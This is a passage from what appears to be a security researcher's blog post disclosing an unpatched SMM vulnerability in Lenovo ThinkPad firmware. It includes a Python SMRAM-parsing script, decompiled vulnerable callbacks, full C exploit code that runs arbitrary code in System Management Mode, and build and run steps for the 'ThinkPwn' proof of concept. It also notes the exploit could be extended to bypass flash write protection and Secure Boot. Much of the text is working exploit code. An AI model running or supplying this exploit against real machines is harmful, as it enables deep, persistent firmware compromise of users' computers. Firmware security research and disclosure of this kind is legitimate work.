        SMM_COMMUNICATE_HEADER_GUID. Type EFI_GUID is defined in
        InstallProtocolInterface() in the EFI 1.10 Specification.
    */
    EFI_GUID HeaderGuid;

    /* Describes the size of the message, not including the header. */
    UINTN MessageLength;

    /* Designates an array of bytes that is MessageLength in size. */
    UINT8 Data[1];

} EFI_SMM_COMMUNICATE_HEADER;

SMM LockBox driver from ThinkPad T450s firmware uses constant EFI_HANDLE with value 0xf9e9662b. If we try to find this value in SMRAM dump, we would see an easily recognisable structure that contains handle value, corresponding callback address and EFI_LIST_ENTRY field to join it into double-linked list for registered callbacks:

AD3C8910 ; EFI_LIST_ENTRY stru_AD3C8910
AD3C8910 stru_AD3C8910   EFI_LIST_ENTRY <offset stru_AD3C8890, offset stru_AD3C8990>
AD3C8920                 dq 0F9E9662Bh           ; EFI_HANDLE value of SMM callback
AD3C8928                 dq offset unk_AD3A7674  ; SMM callback function pointer
AD3C8930                 db    0
AD3C8931                 db    0
AD3C8932                 db    0
AD3C8933                 db    0

Now using this knowledge we can write a small Python program that parses SMRAM dump and finds all the callback functions registered by EFI_SMM_BASE_PROTOCOL.RegisterCallback():

import sys, os
from struct import pack, unpack

SMRAM_SIZE = 0x800000

# list of known handle values from CALLBACK_INFO, used to find callbacks list entry
KNOWN_HANDLES = [ 0xF9E9662B ]

def main():

    with open(sys.argv[1], 'rb') as fd:

        data = fd.read()

        # determine SMRAM address from pointer stored at TSEG+0x10
        smram_base = unpack('Q', data[0x10 : 0x10 + 8])[0] & 0xFF000000

        print('SMRAM base is 0x%x' % smram_base)

        # helper functions
        to_offset = lambda addr: addr - smram_base
        to_address = lambda offset: offset + smram_base
        in_smram = lambda addr: addr >= smram_base and addr < smram_base + SMRAM_SIZE

        ptr, entry = 0, None

        # find CALLBACK_INFO of SMM lockbox
        while ptr < len(data) - 0x10:

            '''
                Read CALLBACK_INFO structure:

                    typedef struct
                    {
                        LIST_ENTRY                    Link;
                        EFI_HANDLE                    DispatchHandle;
                        EFI_SMM_CALLBACK_ENTRY_POINT  CallbackAddress;

                        ...

                    } CALLBACK_INFO;
            '''
            flink, blink, handle, func = unpack('QQQQ', data[ptr : ptr + 0x20])

            if handle in KNOWN_HANDLES and in_smram(flink) and \
                       in_smram(blink) and in_smram(func):

                # list entry was found
                print('Found CALLBACK_INFO with known handle at 0x%x' % to_address(ptr))
                entry = ptr
                break

            ptr += 0x10

        if entry is not None:

            ptr = entry

            # iterate all list items
            while True:

                flink, blink, handle, func = unpack('QQQQ', data[ptr : ptr + 0x20])

                # check for valid field values
                if not (in_smram(flink) and in_smram(blink) and in_smram(func)):

                    print('ERROR: Invalid CALLBACK_INFO at 0x%x' % to_address(ptr))
                    return -1

                # get offset of the next callback structure
                next = to_offset(flink)
                if next == entry:

                    # we are at the beginning of the list
                    break

                # condition to avoid list head enumeration
                if handle != func:

                    print('0x%.8x: handle = 0x%x, function = 0x%x' % \
                          (to_address(ptr), handle, func))

                else:

                    print('List head is at 0x%x' % to_address(ptr))

                ptr = next

    return 0

if __name__ == '__main__':

    exit(main())

Program output on ThinkPad T450s firmware version 1.11:

$ python smm_callback.py TSEG_t450_1.11.bin
SMRAM base is 0xad000000
Found CALLBACK_INFO with known handle at 0xad3c8910
0xad3c8910: handle = 0xf9e9662b, function = 0xad3a7674
0xad3c8890: handle = 0x668ad507, function = 0xad398c48
0xad3c8850: handle = 0x1a7b7c7d, function = 0xad38d8c0
0xad3c8810: handle = 0x1a7b7e7f, function = 0xad38aa7c
0xad2e5bd0: handle = 0x66c6d4e0, function = 0xad27b68c
0xad23ab50: handle = 0x237ca874, function = 0xad23e0a0
0xad238490: handle = 0xa5bb7a7f, function = 0xad21abe8
List head is at 0xad002348
0xad3c8e90: handle = 0xa4af0718, function = 0xad3afa54
0xad3c8f90: handle = 0xa4b12298, function = 0xad3c116c

Bonus 0day: SMM LockBox inspired Lenovo firmware vulnerability

If we look at the code of randomly chosen SMM callback, for example sub_AD398C48(), we would see that it uses similar to SMM LockBox callback approach to filter input buffer address by comparing it’s data with hardcoded GUID value that usually unique for exact callback or driver:

EFI_STATUS __fastcall sub_AD398C48(EFI_HANDLE SmmImageHandle, VOID *CommunicationBuffer, UINTN *SourceSize)
{
    VOID *v3; // rbx@1

    v3 = CommunicationBuffer;

    /*
        Compares communication buffer pointer with zero and compares
        GUID that goes at the beginning of EFI_SMM_COMMUNICATE_HEADER.Data
        with hardcoded magic value.
    */
    if (CommunicationBuffer && 
        _compare_guid((EFI_GUID *)((char *)CommunicationBuffer + 24), &guid_AD3982E0))
    {
        /*
            Get some pointers from EFI_SMM_COMMUNICATE_HEADER.Data and pass them
            to the function that does some work.
        */
        sub_AD398B10(*((VOID **)v3 + 6), *((VOID **)v3 + 5));
    }

    return 0;
}

But if we check all 9 functions found by Python program we would find a very interesting one, sub_AD3AFA54() — it’s code doesn’t look like code of any other SMM callbacks from Lenovo firmware:

EFI_STATUS __fastcall sub_AD3AFA54(EFI_HANDLE SmmImageHandle, VOID *CommunicationBuffer, UINTN *SourceSize)
{
    VOID *v3; // rax@1
    VOID *v4; // rbx@1

    // get some structure pointer from EFI_SMM_COMMUNICATE_HEADER.Data
    v3 = *(VOID **)(CommunicationBuffer + 0x20);
    v4 = CommunicationBuffer;
    if (v3)
    {
        /*
            Vulnarability is here:
            this code calls some function by address from obtained v3 structure field.
        */
        *(v3 + 0x8)(*(VOID **)v3, &dword_AD002290, CommunicationBuffer + 0x18);

        // set zero value in EFI_SMM_COMMUNICATE_HEADER.Data to indicate successful operation
        *(VOID **)(v4 + 0x20) = 0;
    }

    return 0;
}

As you can see — it’s quite epic! Firstly, it doesn’t have any input buffer filtering with hardcoded GUID comparison. Secondly, it calls external function which address was obtained from caller controllable buffer.

This SMM callback belongs to SystemSmmRuntimeRt UEFI driver that present in firmware of Lenovo computers. The latest firmware of ThinkPad T450s (ver. 1.22) is vulnerable for sure, X220 is the oldest ThinkPad that I currently have at home — it’s latest firmware (ver. 1.42) is also vulnerable. Probably, you can also find the vulnerable driver in firmware of some Lenovo computers from ThinkCentre, ThinkStation, ThinkServer, Lenovo Notebook and Lenovo Desktop model lines. To check the firmware of your own machine for this suspicious driver just load it’s firmware image into UEFITool and do the search by “SystemSmmRuntimeRt” unicode string:

Vulnerable driver inside Lenovo firmware image

Driver entry point performs various initializations and registers SMM callback that was shown above:

EFI_STATUS __fastcall start(EFI_HANDLE ImageHandle, EFI_SYSTEM_TABLE *SystemTable)
{
    EFI_HANDLE v2; // rbx@1
    __int64 v3; // rax@2
    __int64 v4; // rax@4
    EFI_STATUS result; // rax@6
    __int64 v6; // [sp+30h] [bp-10h]@2
    __int64 v7; // [sp+38h] [bp-8h]@8
    char a3; // [sp+78h] [bp+38h]@1
    __int64 v9; // [sp+80h] [bp+40h]@1
    __int64 v10; // [sp+88h] [bp+48h]@8

    v9 = 0i64;
    gST = SystemTable;
    gBS = SystemTable->BootServices;
    v2 = ImageHandle;

    /*
        This function initializes a lot of stuff and sets a3 to TRUE when
        UEFI driver was loaded into the SMM or FALSE when it was loaded as
        DXE driver.
    */
    sub_DEC(ImageHandle, SystemTable, &a3);

    if (!a3)
    {
        // perform additional DXE stage initializations
        v3 = gBS->LocateProtocol(qword_260, 0, &v6);
        if (v3 >= 0)
            qword_1070 = v6 - 0x3210;

        return 0;
    }

    // start of SMM-specific initializations, locate EFI_SMM_SYSTEM_TABLE
    SmmBaseProtocol->GetSmstLocation(SmmBaseProtocol, &qword_1068);

    // allocate some memory from SMRAM pool
    v4 = SmmBaseProtocol->SmmAllocatePool(SmmBaseProtocol, 6, 0x3310, &qword_1070);
    if (!v4)
    {
        _zero_memory(qword_1070, 0x3310);
    }

    // allocate some DXE phase pool memory
    result = gBS->AllocatePool(0, 0x4048, &qword_1070);
    if ((result & 0x8000000000000000) == 0)
    {
        _zero_memory(v3300, 0x4048);

        result = gBS->AllocatePool(0i64, 0x3310, &v9);
        if ((result & 0x8000000000000000) == 0)
        {
            _zero_memory(v9, 0x3310);
            *(_QWORD *)(v3300 + 0x10) = 0x4048;

            /*
                Register sub_A54() function as SMM callback. ImageHandle value (v2 variable)
                of loaded SMM driver will be used as handle value to communicate with
                installed callback.
            */
            SmmBaseProtocol->RegisterCallback(SmmBaseProtocol, v2, sub_A54, 0);
        }

        // ...
    }

    return result;
}

To interact with vulnerable SMM callback we need to know it’s handle value, SystemSmmRuntimeRt driver entry point registers this callback using handle value (in context of SMM callbacks just think about it like about some random key without any exact meaning) of it’s own loaded image that was passed to it’s entry.

If we are going to exploit the vulnerability from running operating system we can find the proper handle value with simple bruteforce. But if attacker is able to run his own UEFI application on vulnerable platform — there’s a better way to determinate this handle value. We can enumerate all of the UEFI handles using LocateHandle() function ofEFI_BOOT_SERVICES and check if given handle implements EFI_LOADED_IMAGE_PROTOCOL instance of SystemSmmRuntimeRt UEFI driver (it has constant FFS GUID):

EFI_STATUS GetImageHandle(CHAR16 *TargetPath, EFI_HANDLE *HandlesList, UINTN *HandlesListLength)
{
    EFI_HANDLE *Buffer = NULL;
    UINTN BufferSize = 0, HandlesFound = 0, i = 0;

    // determine handles buffer size
    EFI_STATUS Status = gBS->LocateHandle(
        ByProtocol,
        &gEfiLoadedImageProtocolGuid,
        NULL,
        &BufferSize,
        NULL
    );
    if (Status != EFI_BUFFER_TOO_SMALL)
    {
        return Status;
    }

    // allocate required amount of memory
    if ((Status = gBS->AllocatePool(0, BufferSize, (VOID **)&Buffer)) != EFI_SUCCESS)
    {
        return Status;
    }

    // get image handles list
    Status = gBS->LocateHandle(
        ByProtocol,
        &gEfiLoadedImageProtocolGuid,
        NULL,
        &BufferSize,
        Buffer
    );
    if (Status == EFI_SUCCESS)
    {
        for (i = 0; i < BufferSize / sizeof(EFI_HANDLE); i += 1)
        {
            EFI_LOADED_IMAGE *LoadedImage = NULL;

            // get loaded image protocol instance for given image handle
            if (gBS->HandleProtocol(
                Buffer[i],
                &gEfiLoadedImageProtocolGuid,
                (VOID *)&LoadedImage) == EFI_SUCCESS)
            {
                // get and check image path
                CHAR16 *Path = ConvertDevicePathToText(LoadedImage->FilePath, TRUE, TRUE);
                if (Path)
                {
                    if (!wcscmp(Path, TargetPath))
                    {
                        if (HandlesFound + 1 < *HandlesListLength)
                        {
                            // image handle was found
                            HandlesList[HandlesFound] = Buffer[i];
                            HandlesFound += 1;
                        }
                        else
                        {
                            // handles list is full
                            Status = EFI_BUFFER_TOO_SMALL;
                        }
                    }

                    gBS->FreePool(Path);

                    if (Status != EFI_SUCCESS)
                    {
                        break;
                    }
                }
            }
        }
    }

    gBS->FreePool(Buffer);

    if (Status == EFI_SUCCESS)
    {
        *HandlesListLength = HandlesFound;
    }

    return Status;
}

Now when we have a function which finds proper handle value we can write another one that exploits our shiny new 0day vulnerability to execute arbitrary code in System Management Mode:

// signature of the function that will be called in sub_A54() SMM callback
typedef VOID (* EXPLOIT_HANDLER)(VOID *Context, VOID *Unknown, VOID *Data);

/*
    sub_A54() SMM callback accepts pointer to this structure
    in EFI_SMM_COMMUNICATE_HEADER.Data
*/
typedef struct
{
    VOID *Context;
    EXPLOIT_HANDLER Handler;

} STRUCT_1;

UINTN g_SmmHandlerExecuted = 0;
EFI_GUID g_SmmCommunicateHeaderGuid[] = SMM_COMMUNICATE_HEADER_GUID;

// this function will be executed in SMM
VOID SmmHandler(VOID *Context, VOID *Unknown, VOID *Data)
{
    // tell to the caller that SMM code was executed
    g_SmmHandlerExecuted += 1;

    // ...
}
//--------------------------------------------------------------------------------------
VOID FireSynchronousSmi(UINT8 Handler, UINT8 Data)
{
    // fire SMI using APMC I/O port
    __outbyte(0xb3, Data);
    __outbyte(0xb2, Handler);
}
//--------------------------------------------------------------------------------------
EFI_STATUS SystemSmmRuntimeRt_Exploit(VOID)
{
    EFI_STATUS Status = EFI_SUCCESS;
    EFI_SMM_BASE_PROTOCOL *SmmBase = NULL;

    STRUCT_1 Struct;
    UINTN DataSize = BUFF_SIZE, i = 0;
    EFI_SMM_COMMUNICATE_HEADER *Data = NULL;

    EFI_HANDLE HandlesList[MAX_HANDLES];
    UINTN HandlesListLength = MAX_HANDLES;

    memset(HandlesList, 0, sizeof(HandlesList));
    g_SmmHandlerExecuted = 0;

    // locate SMM base protocol
    if ((Status = gBS->LocateProtocol(&gEfiSmmBaseProtocolGuid, NULL, &SmmBase)) != EFI_SUCCESS)
    {
        goto _end;
    }

    // allocate memory for SMM communication data
    if ((Status = gBS->AllocatePool(0, DataSize, (VOID **)&Data)) != EFI_SUCCESS)
    {
        goto _end;
    }

    /*
        Obtain image handle, SystemSmmRuntimeRt UEFI driver registers sub_A54() as
        SMM callback using EFI_HANDLE of it's own image that was passed to driver entry.
        We can determine this handle value using LocateHandle() function of
        EFI_BOOT_SERVICES.
    */
    if (GetImageHandle(IMAGE_NAME, HandlesList, &HandlesListLength) == EFI_SUCCESS)
    {
        if (HandlesListLength > 0)
        {
            // enumerate all image handles that were found
            for (i = 0; i < HandlesListLength; i += 1)
            {
                EFI_HANDLE ImageHandle = HandlesList[i];

                DataSize = BUFF_SIZE;

                // set up data header
                memset(Data, 0, DataSize);
                memcpy(&Data->HeaderGuid, g_SmmCommunicateHeaderGuid, sizeof(EFI_GUID));
                Data->MessageLength = DataSize - sizeof(EFI_SMM_COMMUNICATE_HEADER);

                // set up data body
                Struct.Context = NULL;
                Struct.Handler = SmmHandler;
                *(VOID **)((UINT8 *)Data + 0x20) = (VOID *)&Struct;

                // queue SMM communication call
                Status = SmmBase->Communicate(SmmBase, ImageHandle, Data, &DataSize);

                // fire any synchronous SMI to process pending SMM calls and execute arbitrary code
                FireSynchronousSmi(0, 0);

                if (g_SmmHandlerExecuted > 0)
                {
                    break;
                }
            }

            if (g_SmmHandlerExecuted > 0)
            {
                Status = EFI_SUCCESS;
            }
        }
    }

_end:

    if (Data)
    {
        gBS->FreePool(Data);
    }

    return Status;
}

I made a proof of concept exploit called ThinkPwn that can be compiled as UEFI application using EDK2 source code tree. To build it from the source code on Windows with Visual Studio compiler you have to perform the following steps:

  1. Copy ThinkPwn project directory into the EDK2 source code directory.
  2. Run Visual Studio 2008 Command Prompt and cd to EDK2 directory.
  3. Execute Edk2Setup.bat –pull to configure build environment and download required binaries.
  4. Edit AppPkg/AppPkg.dsc file and add path of ThinkPwn/ThinkPwn.dsc to the end of [Components] section.
  5. cd to the ThinkPwn project directory and run build command.
  6. After compilation resulting PE image file will be created atBuild/AppPkg/DEBUG_VS2008x86/X64/ThinkPwn/ThinkPwn/OUTPUT/ThinkPwn.efi

To run this exploit you have to prepare a FAT32 formatted USB flash drive with ThinkPwn.efi and UEFI shell binaries. Then just boot your Lenovo machine into the UEFI shell and execute the exploit application (in my case it’s path was FS1:\ThinkPwn.efi). To make it useful I implemented System Management Mode powered physical memory dump functionality that can be controlled with command line options:

ThinkPwn.efi <address> <bytes_to_dump> <out_file>

Here’s the example of using this exploit to dump TSEG region of SMRAM on my ThinkPad T450s:

Vulnerability exploitation on ThinkPad T450s

Technical nature of this 0day vulnerability is rising an interesting question: is it backdoor or not? On one side we have the following suspicious facts:

  • Vulnerable SMM callback function doesn’t look like any other SMM callback function from the same firmware, probably vulnerable code was written and committed not by regular Lenovo developers who usually work on System Management Mode.
  • Vulnerable SMM callback function has absolutely no sense from engineering point of view, it can’t do anything useful except calling of arbitrary function which address was received from caller, there’s no any sane reasons to have such SMM callback in your firmware code.

On other side — you should think twice before you will start to blame the Lenovo for System Management Mode backdoor in ThinkPad computers, we still don’t have enough of facts to claim that this issue is an actual backdoor (however, that’s the main idea of good backdoors).

Patch for this vulnerability is currently not available, I decided to do the full disclosure because the main goal of my UEFI series articles is to share the knowledge, not to make vendors and their users happy. Also, I don’t have enough resources to check the vulnerability on all of the Lenovo computers, so, if you have ThinkPad — it’s likely vulnerable, in case of other model lines I’d recommend to wait for official advisory from vendor. It’s very unlikely that this vulnerability will be exploited in the wild, for regular customers there are much more chances to be killed with the lightning strike than meet any System Management Mode exploit or malware.

Currently exploit for this 0day vulnerability is implemented only as UEFI application — in theory it should work fine on any vulnerable machine which is good enough to test your system and dump SMRAM contents of fresh firmware for future research. Later I planning to reimplement it on the top of the libfwexpl, as it was said — it will be possible to use it for flash write protection bypass, disabling of UEFI Secure Boot, Virtual Secure Mode and Credential Guard bypass, etc.

Source:https://blog.cr4.sh/